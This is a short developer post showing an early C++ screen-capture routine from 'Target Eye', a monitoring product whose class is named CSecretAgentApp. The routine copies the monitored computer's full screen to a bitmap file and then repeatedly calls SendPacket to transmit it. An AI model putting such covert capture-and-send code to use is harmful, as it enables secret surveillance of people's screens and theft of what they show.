When I started developing Target Eye, I made several experiments in the procedure which capture the screen at the monitored computer. Here are several of the first results.

 

The first screen capture routine was really simple:

void CSecretAgentApp::SimpleCapture()
{
 
 // This function only works for 24-bit (truecolor) display mode
 // prepare DCs, bitmaps,..   
 HDC hScreenDC = GetWindowDC(0);
 if (hScreenDC==NULL)
 {
  MessageBox(NULL,"Error 1","",MB_OK);
  exit(0);
 }
 HDC hmemDC = CreateCompatibleDC(hScreenDC);   
 if (hmemDC==NULL)
 {
  MessageBox(NULL,"Error 2","",MB_OK);
  ReleaseDC(0, hScreenDC);
  exit(0);
 }
 int ScreenWidth = GetDeviceCaps(hScreenDC, HORZRES);
 int ScreenHeight = GetDeviceCaps(hScreenDC, VERTRES);
 HBITMAP hmemBM = CreateCompatibleBitmap(hScreenDC, ScreenWidth, ScreenHeight);
 if (hmemBM==NULL)
 {
  MessageBox(NULL,"Error 3. Can't create Bitmap","",MB_OK);
  DeleteDC(hmemDC);   
  ReleaseDC(0, hScreenDC);
  exit(0);
 }
 SelectObject(hmemDC, hmemBM);   // copy screen to memory DC
 if(!(BitBlt(hmemDC, 0, 0, ScreenWidth, ScreenHeight, hScreenDC, 0, 0, SRCCOPY)))
 {
  DeleteObject(hmemBM);   
  DeleteDC(hmemDC);   
  ReleaseDC(0, hScreenDC);
  MessageBox(NULL,"Error 4","",MB_OK);
  exit(0);
 }
 // allocate and lock memory for the bitmap data
 HGLOBAL hpxldata = GlobalAlloc(GMEM_FIXED, ScreenWidth * ScreenHeight * 3);
 if (hpxldata == NULL)
 {
  GlobalFree(hpxldata);
  DeleteObject(hmemBM);   
  DeleteDC(hmemDC);   
  ReleaseDC(0, hScreenDC);
  MessageBox(NULL,"Error 5 Can't allocate memory","",MB_OK);
  exit(0);
 }
 void FAR* lpvpxldata = GlobalLock(hpxldata);   // fill .bmp - structures
 if (lpvpxldata == NULL)
 {
  GlobalUnlock(hpxldata);   
  GlobalFree(hpxldata);
  DeleteObject(hmemBM);   
  DeleteDC(hmemDC);   
  ReleaseDC(0, hScreenDC);
  MessageBox(NULL,"Error 6","",MB_OK);
  exit(0);
 }
 BITMAPINFO bmInfo;   
 bmInfo.bmiHeader.biSize = 40;
 bmInfo.bmiHeader.biWidth = ScreenWidth;
 bmInfo.bmiHeader.biHeight = ScreenHeight;   
 bmInfo.bmiHeader.biPlanes = 1;
 bmInfo.bmiHeader.biBitCount = 24;   
 bmInfo.bmiHeader.biCompression = 0;
 bmInfo.bmiHeader.biSizeImage = 0;   
 bmInfo.bmiHeader.biXPelsPerMeter = 0;
 bmInfo.bmiHeader.biYPelsPerMeter = 0;   
 bmInfo.bmiHeader.biClrUsed = 0;
 bmInfo.bmiHeader.biClrImportant = 0;   
 BITMAPFILEHEADER bmFileHeader;
 bmFileHeader.bfType = 19778;
 bmFileHeader.bfSize = (ScreenWidth * ScreenHeight * 3) + 40 + 14;
 bmFileHeader.bfReserved1 = 0;   
 bmFileHeader.bfReserved2 = 0;
 bmFileHeader.bfOffBits = 54;   // copy bitmap data into global memory
 GetDIBits(hmemDC, hmemBM, 0, ScreenHeight, lpvpxldata, &bmInfo, DIB_RGB_COLORS);
 // open file and write data
 static CFile bmfile;
 if(!(bmfile.Open("TEA",CFile::modeCreate | CFile::modeWrite)))
 {
  GlobalUnlock(hpxldata);   
  GlobalFree(hpxldata);
  DeleteObject(hmemBM);   
  DeleteDC(hmemDC);   
  ReleaseDC(0, hScreenDC);
  ASSERT("Can't open bitmap file\n");
  return;
 }
 
 
 bmfile.Write(&bmFileHeader, 14);   
 bmfile.Write(&bmInfo, 40);
 bmfile.Write(lpvpxldata, ScreenWidth * ScreenHeight * 3);   // clean up
 bmfile.Close();   
 

 GlobalUnlock(hpxldata);   
 GlobalFree(hpxldata);
 DeleteObject(hmemBM);   
 DeleteDC(hmemDC);   
 ReleaseDC(0, hScreenDC);
 //Shrink("c:\\temp.bit","c:\\temp.bmp");
 strcpy(m_TempPictName,"TEA");
 DeleteFile(m_PacketFileName);
 if (!FileExists(m_PacketFileName)) SendPacket();
 while (m_BytesSent!=0)
 {
  if (!FileExists(m_PacketFileName)) SendPacket();
 }
 
}

©2000-2013 Michael Haephrati and Target Eye LTD

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